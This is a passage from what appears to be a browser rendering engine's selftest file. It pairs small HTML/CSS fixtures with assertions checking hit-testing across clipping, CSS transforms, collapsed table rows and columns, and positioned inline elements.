OpRect(0, 231, 200, 200)); stat = hit_testing_obj2.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj2.Exists("upper") == FALSE); verify(hit_testing_obj2.Exists("bottom") == TRUE); verify(hit_testing_obj2.Exists("red") == FALSE); verify(hit_testing_obj2.Exists("blue") == FALSE); verify(hit_testing_obj2.Exists("yellow") == FALSE); verify(hit_testing_obj2.Exists("black") == FALSE); verify(hit_testing_obj2.Exists("gray") == FALSE); verify(hit_testing_obj2.Exists("green") == FALSE); } html { //!<!DOCTYPE html> //!<html> //!<head> //!<style> //!* { margin:0;padding:0;} //!a {width:60px; height:30px; font-size:20px; background-color:green; //! display:block; position:absolute; } //!#not_clipped1 {left:150px; top:150px;} //!#not_clipped2 {left:150px; top:250px;} //!</style> //!</head> //!<body> //! //!<div style="overflow:hidden; width:100px; height:100px"> //! //!<a href="#" id="not_clipped1">Link</a> //! //!<div id="red1" style="width:100px; height:100px; background-color:red;"></div> //!<div id="blue1" style="width:100px; height:100px; background-color:blue;"></div> //! //!</div> //! //!<div style="overflow:auto; width:100px; height:100px"> //! //!<a href="#" id="not_clipped2">Link</a> //! //!<div id="red2" style="width:100px; height:100px; background-color:red;"></div> //!<div id="blue2" style="width:100px; height:100px; background-color:blue;"></div> //! //!</div> //! //!</body> //!</html> } test ("clipping affects/doesn't affect target") { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(-1000, -1000, 10000, 10000)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("red1") == TRUE); verify(hit_testing_obj.Exists("blue1") == FALSE); verify(hit_testing_obj.Exists("not_clipped1") == TRUE); verify(hit_testing_obj.Exists("red2") == TRUE); verify(hit_testing_obj.Exists("blue2") == FALSE); verify(hit_testing_obj.Exists("not_clipped2") == TRUE); } html { //!<!DOCTYPE html> //!<html> //!<head> //!<style> //!* { margin:0;padding:0;} //!table { border-spacing:0px; } //!</style> //!</head> //!<body> //! //!<div style="overflow:auto; width:200px; height:200px"> //! //!<table> //!<tr> //!<td> //!<div id="red" style="width:100px; height:100px; background-color:red;"></div> //!</td> //!<td> //!<div id="green" style="width:100px; height:100px; background-color:green;"></div> //!</td> //!<td> //!<div id="blue" style="width:100px; height:100px; background-color:blue;"></div> //!</td> //!</tr> //!</table> //! //!<div style="overflow:hidden; width:150px; height:200px;"> //!<table> //!<tr> //!<td> //!<div id="yellow" style="width:100px; height:100px; background-color:yellow;"></div> //!</td> //!<td> //!<div id="lime" style="width:50px; height:100px; background-color:lime;"></div> //!</td> //!<td> //!<div id="teal" style="width:100px; height:100px; background-color:teal;"></div> //!</td> //!</tr> //!<tr> //!<td> //!<div id="orange" style="width:100px; height:100px; background-color:orange;"></div> //!</td> //!<td> //!<div id="olive" style="width:50px; height:100px; background-color:olive;"></div> //!</td> //!<td> //!<div id="black" style="width:100px; height:100px; background-color:black;"></div> //!</td> //!</tr> //!</table> //!</div> //! //!</div> //! //!</body> //!</html> } test ("clip rects stacking") { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(101, 0, 1000, 1000)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("red") == FALSE); verify(hit_testing_obj.Exists("green") == TRUE); verify(hit_testing_obj.Exists("blue") == FALSE); verify(hit_testing_obj.Exists("yellow") == FALSE); verify(hit_testing_obj.Exists("lime") == TRUE); verify(hit_testing_obj.Exists("teal") == FALSE); verify(hit_testing_obj.Exists("orange") == FALSE); verify(hit_testing_obj.Exists("olive") == FALSE); verify(hit_testing_obj.Exists("black") == FALSE); } test ("clipping disabled") { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(101, 0, 1000, 1000), TRUE); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("red") == FALSE); verify(hit_testing_obj.Exists("green") == TRUE); verify(hit_testing_obj.Exists("blue") == TRUE); verify(hit_testing_obj.Exists("yellow") == FALSE); verify(hit_testing_obj.Exists("lime") == TRUE); verify(hit_testing_obj.Exists("teal") == TRUE); verify(hit_testing_obj.Exists("orange") == FALSE); verify(hit_testing_obj.Exists("olive") == TRUE); verify(hit_testing_obj.Exists("black") == TRUE); } test("AHEM") { short font_number = styleManager->GetFontNumber(UNI_L("AHEM")); verify(font_number != -1); } html { //!<!DOCTYPE html> //!<html> //!<head> //!<style> //!* { margin:0;padding:0; //! font-family:'AHEM'; //!} //! //!#transformed //!{ //! width:282px; //! height:282px; //! transform:translate(59px,59px) rotate(-45deg); //!} //! //!#container //!{ //! overflow:hidden; //! width:200px; //! height:200px; //! background-color:red; //!} //!</style> //!</head> //!<body> //!<div id="container"> //! //!<div id="transformed"> //! //!<div style="width:282px; height:141px; max-height:141px; background-color:yellow;"> //!<p style="height:25px; font-size:16px;"><b id="not_clipped">not clipped</b></p> //!<p style="margin-top: 40px; height:20px; font-size:12px;"><b id="clipped_but_line_too_long">Incli</b></p> //!<p style="margin-top: 20px; margin-left: 210px; height:20px; font-size:12px;"> //!<b id="clipped_with_new_method">Incli</b></p> //!</div> //! //!<div style="width:282px; height:141px; background-color:lime"> //!<p style="height:25px; font-size:16px;"><b id="clipped">Clipped fully</b></p> //!</div> //! //!</div> //! //!<p style="height:25px; font-size:16px;"><b id="not_transformed">xxx</b></p> //! //!</div> //! //!<p style="height:25px; font-size:16px;"><b id="outside_container">xxx</b></p> //! //!</body> //!</html> } test ("clip rect after transform") require CSS_TRANSFORMS; require success "AHEM"; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 1000, 1000)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("not_clipped") == TRUE); /** The below two are outside the area intersected with clipping rect, but they are distinguished from the 'clipped' <b>, because they would yield false positive, if we would make an intersection check only againts the halfplanes of the local rect of the element against the area intersected with the previous clip rect, that is in doc coordinates. See VisualDeviceTransform::TestIntersection. */ verify(hit_testing_obj.Exists("clipped_with_new_method") == FALSE); /** Although, the inline box of the <b> element does not intersect the clipping rect here, the line, that it belongs to do. And because AreaTraversalObject does not make intersection checks on inline boxes, we will enter here. */ verify(hit_testing_obj.Exists("clipped_but_line_too_long") == TRUE); verify(hit_testing_obj.Exists("clipped") == FALSE); verify(hit_testing_obj.Exists("not_transformed") == FALSE); verify(hit_testing_obj.Exists("outside_container") == TRUE); } html { //!<!DOCTYPE html> //!<html> //!<head> //!<style> //!* { margin:0;padding:0; //! font-family:'AHEM'; //!} //! //!#container //!{ //! overflow:auto; //! width:100px; //! height:100px; //! background-color:red; //!} //!</style> //!</head> //!<body> //!<div id="container"> //! //!<span id="first_line" style="font-size:20px">xxxxxxxxxx</span> <br/> <br /> //! //!<span id="second_line" style="font-size:20px">xxxxxxxxxx</span> //! //!</div> //! //!</body> //!</html> } test ("single point area in and outside clip rect") require success "AHEM"; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(10, 10, 10, 10)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("first_line") == TRUE); verify(hit_testing_obj.Exists("second_line") == FALSE); ST_HitTestingTraversalObject hit_testing_obj1(state.doc, OpRect(150, 10, 150, 10)); stat = hit_testing_obj1.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); //The area is within the line, but outside the clipping rect pushed after scrollable entering verify(hit_testing_obj1.Exists("first_line") == FALSE); verify(hit_testing_obj1.Exists("second_line") == FALSE); } html { //!<!DOCTYPE html> //!<html> //!<head> //!<style> //!* { margin:0;padding:0;} //! //!#transformed //!{ //! width:200px; //! height:50px; //! transform:translate(0px,80px) rotate(-45deg); //! background-color:red; //! overflow:auto; //!} //! //!#clipped //!{ //! margin-left:30px; //! width:50px; //! height:150px; //! background-color:yellow; //!} //! //!</style> //!</head> //!<body> //! //!<div id="transformed"> //! //!<div id="clipped"> //!</div> //! //!</div> //! //!<!--<div style="width:50px; height:100px; position:absolute; left:110px; top:80px; background-color:black;"> //!</div>--> //! //!</body> //!</html> } test ("a box, the area and clip rect triple in 45deg transform") require CSS_TRANSFORMS; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(110, 80, 50, 100)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("clipped") == FALSE); } html { //!<!DOCTYPE html> //!<html> //!<head> //!<style> //!* { margin:0;padding:0; //! font-family:'AHEM'; //!} //!table //!{ //! border-spacing : 0px; //!} //!#absolute_div //!{ //! position:absolute; //! left:300px; //! top:200px; //! width:200px; //! height:100px; //! background-color:red; //! clip: rect(40px, 200px, 100px, 0px); //!} //! //!tr.collapse //!{ //! visibility:collapse; //!} //! //!td.single //!{ //! width:100px; //! height:100px; //! background-color:blue; //!} //! //!td.double //!{ //! width:100px; //! height:200px; //! background-color:red; //!} //! //!</style> //!</head> //!<body> //! //!<div id="absolute_div"> //!<span id="first_line" style="font-size:20px">xxxxxxxx</span> <br/> <br /> <br /> //! //!<span id="second_line" style="font-size:20px">xxxxxxxx</span> //!</div> //! //!<table> //! //!<tr> //!<td class="single"> //!</td> //!<td rowspan="2" class="double"> //!<span id="collapsed1" style="font-size:20px">xxxx</span> <br/> <br /> <br /> //! //!<span id="collapsed2" style="font-size:20px">xxxx</span> //!</td> //!</tr> //! //!<tr class="collapse"> //!<td class="single"> //!</td> //!</tr> //! //!</table> //! //!</body> //!</html> } test ("absolute positioned box clipping") require success "AHEM"; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(300, 200, 200, 100)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("first_line") == FALSE); verify(hit_testing_obj.Exists("second_line") == TRUE); } test ("partially collapsed table cell clipping") require success "AHEM"; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 200, 200)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("collapsed1") == TRUE); verify(hit_testing_obj.Exists("collapsed2") == FALSE); } html { //!<!DOCTYPE html> //!<html> //!<head> //!<style> //!* { margin:0;padding:0; //! font-family:'AHEM'; //!} //! //!#transformed //!{ //! width:282px; //! height:70px; //! transform-origin: top left; //! transform:translate(0px,200px) rotate(-45deg); //! background-color:red; //! overflow:auto; //!} //! //!#second_transformed //!{ //! width:50px; //! height:280px; //! transform-origin: top left; //! transform:translate(230px,20px) rotate(45deg); //! background-color:yellow; //!} //!</style> //!</head> //!<body> //! //!<div style="width:400px; height:400px;"> //!<div id="transformed"> //! //!<div id="second_transformed"> //!<span id="not_clipped" style="font-size:20px">xx</span> //! //!<p style="height:25px; margin-top:80px;"><span style="font-size:20px;" id="in_area">xx</span></p> //!<p style="height:25px; margin-top:100px;"><span style="font-size:20px;" id="clipped">xx</span></p> //!</div> //! //!<p style="position:relative; top:-1px; height:25px; font-size:20px;"><b id="outside_second_transformed">xxxx</b></p> //! //!</div> //!</div> //! //!<p style="position:relative; top:-1px; height:25px; font-size:20px;"><b id="outside_transformed">xxxx</b></p> //! //!</body> //!</html> } test ("two transforms, clip rect after first") require CSS_TRANSFORMS; require success "AHEM"; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 10000, 10000)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("not_clipped") == TRUE); /* NOTE: This one is actually outside the clip rect. The fact it is TRUE, is because when we intersect the area with the clip rect before pushing the second transform, the clip rect is BBoxed before that (area is in coords before the first transform), so it is too big */ verify(hit_testing_obj.Exists("in_area") == TRUE); verify(hit_testing_obj.Exists("clipped") == FALSE); verify(hit_testing_obj.Exists("outside_second_transformed") == FALSE); verify(hit_testing_obj.Exists("outside_transformed") == TRUE); } html { //!<!DOCTYPE html> //!<html> //!<head> //!<style> //!* { margin:0;padding:0; //! font-family:'AHEM'; //! line-height:20px; //!} //!table //!{ //! border-spacing : 0px; //! transform-origin: top left; //! transform: translate(100px,150px) rotate(-15deg); //! max-height:400px; //!} //! //!tr.collapse //!{ //! visibility:collapse; //!} //! //!td.single //!{ //! width:200px; //! height:200px; //! background-color:blue; //!} //! //!td.double //!{ //! background-color:red; //! overflow:visible; //! vertical-align:top; //!} //! //!div.inside_double //!{ //! width:200px; //! height:400px; //! max-height:400px; //!} //! //!div.second_transform //!{ //! margin-top:105px; //! width:100px; //! height:150px; //! background-color:lime; //! transform: skewX(15deg) scaleY(2) translate(200px,20px); //!} //! //!</style> //!</head> //!<body> //! //!<table> //! //!<tr> //!<td class="single"> //!</td> //!<td rowspan="2" class="double"> //!<div class="inside_double"> //!<span id="text_visible" style="font-size:20px">xxxxxxxxxxxx</span> <br/> //! //!<div class="second_transform"> //!<p style="margin-left:60px;"><span id="in_clip_rect" style="font-size:20px">xx</span></p> //!<br /> <br /> //!<span id="false_positive" style="font-size:20px">xxxx</span> //!<br /> <br /> <br /> <br /> <br /> <br /> //!<span id="outside_clip_rect" style="font-size:20px">xxxx</span> //!</div> //! //!<br/> <br/> <br/> <br/> <br/> //!<span id="text_collapsed" style="font-size:20px">xxxxxxxxxxx</span> //!</div> //!</td> //!</tr> //! //!<tr class="collapse"> //!<td class="single"> //!</td> //!</tr> //! //!</table> //! //!<!--<div style="position:absolute; top:130px; left:560px; width:10px; height:10px; background-color:yellow"></div>--> //!<!--<div style="position:absolute; top:470px; left:690px; width:10px; height:10px; background-color:yellow"></div>--> //! //!</body> //! //!</html> } test ("transforming clip rect of row collapsed table cell") require CSS_TRANSFORMS; require success "AHEM"; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 10000, 10000)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("in_clip_rect") == TRUE); /* NOTE: This one is actually outside the clip rect. The fact it is TRUE, is because when we intersect the area with the clip rect before pushing the second transform, the clip rect is BBoxed before that (area is in coords before the first transform), so it is too big */ verify(hit_testing_obj.Exists("false_positive") == TRUE); verify(hit_testing_obj.Exists("outside_clip_rect") == FALSE); verify(hit_testing_obj.Exists("text_collapsed") == FALSE); verify(hit_testing_obj.Exists("text_visible") == TRUE); } test ("single point area - going through clipping and transforms") require CSS_TRANSFORMS; require success "AHEM"; require success "PRECONDITION: Window big enough."; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); /* Single point area, only on the "in_clip_rect" span with text. */ ST_HitTestingTraversalObject hit_testing_obj1(state.doc, OpRect(560, 130, 1, 1)); OP_STATUS stat = hit_testing_obj1.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj1.Exists("in_clip_rect") == TRUE); verify(hit_testing_obj1.Exists("false_positive") == FALSE); verify(hit_testing_obj1.Exists("outside_clip_rect") == FALSE); verify(hit_testing_obj1.Exists("text_collapsed") == FALSE); verify(hit_testing_obj1.Exists("text_visible") == FALSE); /* Single point area, only on the "outside_clip_rect" span with text. */ ST_HitTestingTraversalObject hit_testing_obj2(state.doc, OpRect(690, 470, 1, 1)); stat = hit_testing_obj2.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj2.Exists("in_clip_rect") == FALSE); verify(hit_testing_obj2.Exists("false_positive") == FALSE); verify(hit_testing_obj2.Exists("outside_clip_rect") == FALSE); verify(hit_testing_obj2.Exists("text_collapsed") == FALSE); verify(hit_testing_obj2.Exists("text_visible") == FALSE); } html { //!<!DOCTYPE html> //!<html> //!<head> //!<style> //!* { margin:0;padding:0; //! font-family:'AHEM'; //!} //!table //!{ //! border-spacing: 0px; //! transform-origin: top left; //! transform: translate(100px,100px) scaleX(2); //!} //! //!col.collapsed //!{ //! visibility:collapse; //!} //! //!td.single //!{ //! width:100px; //! height:100px; //! background-color:blue; //!} //! //!td.double //!{ //! width:200px; //! height:100px; //! //! background-color:red; //! vertical-align:top; //!} //! //!div.second_transform //!{ //! width:170px; //! height:75px; //! background-color:lime; //! transform: translate(10px, 10px) rotate(5deg); //!} //! //!</style> //!</head> //!<body> //! //!<table> //!<col /> //!<col class="collapsed" /> //! //!<tr> //!<td colspan="2" class="double"> //! //!<div class="second_transform"> //!<span id="in_clip_rect" style="font-size:20px">xxx</span> //!<br /> //!<div style="margin-left:150px;"><span id="outside_clip_rect" style="font-size:20px;">x</span></div> //!</div> //! //!</td> //!</tr> //! //!<tr> //!<td class="single"> //!</td> //!<td class="single"> //!</td> //!</tr> //! //!</table> //! //!</body> //! //!</html> } test ("transforming clip rect of column collapsed table cell") require CSS_TRANSFORMS; require success "AHEM"; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 10000, 10000)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("in_clip_rect") == TRUE); verify(hit_testing_obj.Exists("outside_clip_rect") == FALSE); } html { //!<!DOCTYPE html> //!<html> //!<head> //!<style> //!* { margin:0;padding:0; //! font-family:'AHEM'; //!} //! //!#container //!{ //! width:100px; //! height:100px; //!} //! //!#empty_transform //!{ //! transform:scale(0); //!} //! //!</style> //!</head> //!<body> //!<div id="container"> //! //!<span id="empty_transform">xxx</span> //! //!</div> //! //!</body> //! //!</html> } test ("empty transform") require CSS_TRANSFORMS; require success "AHEM"; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 1, 1)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("container") == TRUE); // Should not enter any box which is in the transform context, that empties rectangles verify(hit_testing_obj.Exists("empty_transform") == FALSE); } html { //!<!DOCTYPE html> //!<html> //!<head> //!<style> //!* { margin:0;padding:0; //!} //! //!#transformed //!{ //! width:200px; //! height:200px; //! transform-origin: top left; //! transform:skewX(89.99999deg); //! background-color:yellow; //!} //! //!#second_transform //!{ //! width:100px; //! height:100px; //! transform-origin: top left; //! transform:scaleX(1); //! background-color:green; //!} //! //!</style> //!</head> //!<body> //! //!<div id="transformed"> //!<div id="second_transform"> //!</div> //!</div> //! //!</body> //!</html> } test ("infinite transform") require CSS_TRANSFORMS; disabled; /** This test is about a known bug - in case of a transform, which matrix has very big values (it 'infinitely' enlarges rects on at least one axis), the int overflow may occur. That is what happens here. This test fails and triggers asserts. */ { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 10000, 10000)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); /** Should not enter any box which is in an 'infinite' transform. Due to precision issues and integer pixel representation, such box is not visible at all after painting. */ verify(hit_testing_obj.Exists("transformed") == FALSE); verify(hit_testing_obj.Exists("second_transform") == FALSE); } html { //!<html> //!<head> //!<style> //!* { margin:0;padding:0; //!} //! //!#transformed //!{ //! width:200px; //! height:200px; //! transform-origin: top left; //! transform:skewX(89.99999deg); //! background-color:yellow; //! overflow:auto; //!} //! //!#second_transform //!{ //! width:100px; //! height:100px; //! transform-origin: top left; //! transform:scaleX(1); //! background-color:green; //!} //! //!div.clipping_container //!{ //! width:10000px; //! height:10000px; //! max-height:10000px; //! overflow:hidden; //!} //! //!</style> //!</head> //!<body> //! //!<div class="clipping_container"> //!<div id="transformed"> //!<div id="second_transform"> //!</div> //!</div> //!</div> //! //!</body> //!</html> } test ("infinite transform clip rect pushed") require CSS_TRANSFORMS; disabled; /** Like the preceding test. Additionally it introduces clip rects - one before the first transform, second one after first transform, but before the second one. */ { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 10000, 10000)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); /** Should not enter any box which is in an 'infinite' transform. Due to precision issues and integer pixel representation, such box is not visible at all after painting. */ verify(hit_testing_obj.Exists("transformed") == FALSE); verify(hit_testing_obj.Exists("second_transform") == FALSE); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style type="text/css"> //! //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font-size:20px; //! font-family:'AHEM'; //!} //! //!table //!{ //! table-layout:fixed; //! width:100px; //! background:lime; //! overflow:hidden; //! display:table; //!} //! //!td //!{ //! vertical-align:top; //! max-width:50px; //! height:30px; //!} //! //!td.upper //!{ //! padding-left:60px; //!} //!</style> //!</head> //! //!<body> //! //!<table> //! <tr> //! <td></td> //! <td class="upper"><div id="not_hit">X</div></td> //! </tr> //! <tr> //! <td>XX&nbsp;<span id="hit">X</span></td> //! <td></td> //! </tr> //!</table> //! //!</body> //!</html> } test ("block level table with overflow:hidden") require success "AHEM"; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 10000, 10000)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("not_hit") == FALSE); verify(hit_testing_obj.Exists("hit") == TRUE); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style type="text/css"> //! //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font-size:20px; //! font-family:'AHEM'; //!} //! //!table //!{ //! table-layout:fixed; //! width:100px; //! background:lime; //! overflow:hidden; //! display:inline-table; //!} //! //!td //!{ //! vertical-align:top; //! max-width:50px; //! height:30px; //!} //! //!td.upper //!{ //! padding-left:60px; //!} //!</style> //!</head> //! //!<body> //!X<table> //! <tr> //! <td></td> //! <td class="upper"><div id="not_hit">X</div></td> //! </tr> //! <tr> //! <td>XX&nbsp;<span id="hit">X</span></td> //! <td></td> //! </tr> //!</table> //! //!</body> //!</html> } test ("inline table with overflow:hidden") require success "AHEM"; { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 10000, 10000)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("not_hit") == FALSE); verify(hit_testing_obj.Exists("hit") == TRUE); } /* BEGIN: The subgroup of selftests inspired by CORE-45142 that covers the involved code. NOTE: Most of them are really testing just the AreaTraversalObject, but here we have all the useful utility code. */ subtest PositionedInlinesWithContainingBlock(const OpRect& area, BOOL hit_first) { FramesDocument* doc = state.doc; verify(doc); HTML_Element* doc_root = doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(doc, area); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("first") == hit_first); verify(hit_testing_obj.Exists("outside_area") == FALSE); verify(hit_testing_obj.Exists("inside_area") == TRUE); verify(hit_testing_obj.GetTraversePositionedElementCallCount() == 1); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!#first //!{ //! position:relative; //! width:20px; //! height:20px; //! background-color:yellow; //! margin-left:19px; //!} //! //!span //!{ //! position:relative; //!} //! //!#outside_area //!{ //! left:20px; //!} //! //!#inside_area //!{ //! top:-11px; //!} //! //!</style> //!</head> //! //!<body> //!<div id="first"> //!</div> //!<span id="outside_area">X</span><br> //!<span id="inside_area">X</span> //!</body> //!</html> } test("Positioned inlines with containing block calculated 1") // Positioned inlines in the same container. require success "AHEM"; { verify(PositionedInlinesWithContainingBlock(OpRect(0, 0, 20, 20), TRUE)); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!#first //!{ //! position:relative; //! width:20px; //! height:20px; //! background-color:yellow; //!} //! //!span //!{ //! position:relative; //!} //! //!#outside_area //!{ //! left:20px; //!} //! //!#inside_area //!{ //! top:-11px; //!} //! //!</style> //!</head> //! //!<body> //!<div id="first"> //!</div> //!<div> //!<span id="outside_area">X</span><br> //!<span id="inside_area">X</span> //!</div> //!</body> //!</html> } test("Positioned inlines with containing block calculated 2") // Positioned inlines in another, logically further container. require success "AHEM"; { verify(PositionedInlinesWithContainingBlock(OpRect(0, 0, 20, 20), TRUE)); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!div.outer //!{ //! margin-left:19px; //!} //! //!#first //!{ //! position:relative; //! width:20px; //! height:20px; //! background-color:yellow; //!} //! //!span //!{ //! position:relative; //!} //! //!#outside_area //!{ //! left:20px; //!} //! //!#inside_area //!{ //! top:-11px; //!} //! //!</style> //!</head> //! //!<body> //!<div class="outer"> //!<div id="first"> //!</div> //!</div> //!<span id="outside_area">X</span><br> //!<span id="inside_area">X</span> //!</body> //!</html> } test("Positioned inlines with containing block calculated 3") // Positioned inlines in the container that is a grand parent of the "first". require success "AHEM"; { verify(PositionedInlinesWithContainingBlock(OpRect(0, 0, 20, 20), TRUE)); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!div.outer //!{ //! display:inline-block; //!} //! //!#first //!{ //! position:relative; //! width:20px; //! height:20px; //! background-color:yellow; //!} //! //!span //!{ //! position:relative; //!} //! //!#outside_area //!{ //! left:10px; //! top:-10px; //!} //! //!#inside_area //!{ //! top:-11px; //!} //! //!</style> //!</head> //! //!<body> //!<div id="first"> //!</div> //!X<div class="outer"> //!<span id="outside_area">X</span><br> //!<span id="inside_area">X</span> //!</div> //!</body> //!</html> } test("Positioned inlines with containing block calculated 4") require success "AHEM"; /* Positioned inlines in another, logically further container, whose placeholder is an inline block. */ { verify(PositionedInlinesWithContainingBlock(OpRect(0, 0, 20, 20), TRUE)); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //! vertical-align:bottom; //!} //! //!div.float //!{ //! float:left; //! width:10px; //! height:20px; //! background-color:lime; //!} //! //!div.outer //!{ //! display:inline-block; //!} //! //!#first //!{ //! position:relative; //! width:20px; //! height:20px; //! background-color:yellow; //!} //! //!span //!{ //! position:relative; //!} //! //!#outside_area //!{ //! left:20px; //! top:-10px; //!} //! //!#inside_area //!{ //! top:-11px; //!} //! //!</style> //!</head> //! //!<body> //!<div class="float"></div> //!<div class="outer"> //!<div id="first"> //!</div> //!</div> //!<br> //!<span id="outside_area">X</span><br> //!<span id="inside_area">X</span> //!</body> //!</html> } test("Positioned inlines with containing block calculated 5") require success "AHEM"; /* Positioned inlines in the container that is a grand parent of the "first". The "first" container's placeholder is an inline block. */ { verify(PositionedInlinesWithContainingBlock(OpRect(0, 0, 20, 20), TRUE)); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! margin:0;padding:0; //! border-spacing: 0; //! font:10px 'Ahem'; //!} //! //!#first //!{ //! transform:translate(30px,30px) rotate(30deg); //! width:20px; //! height:20px; //! background-color:yellow; //!} //! //!span //!{ //! position:relative; //!} //! //!#outside_area //!{ //! left:20px; //!} //! //!#inside_area //!{ //! top:-11px; //!} //! //!</style> //!</head> //! //!<body> //!<div id="first"> //!</div> //!<span id="outside_area">X</span><br> //!<span id="inside_area">X</span> //!</body> //!</html> } test("Positioned inlines with containing block calculated 6") require CSS_TRANSFORMS; require success "AHEM"; // Positioned inlines in the same container, but leaving a transformed box. { verify(PositionedInlinesWithContainingBlock(OpRect(0, 0, 20, 20), FALSE)); } html { //!<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> //!<html> //!<head> //!<style> //!* //!{ //! 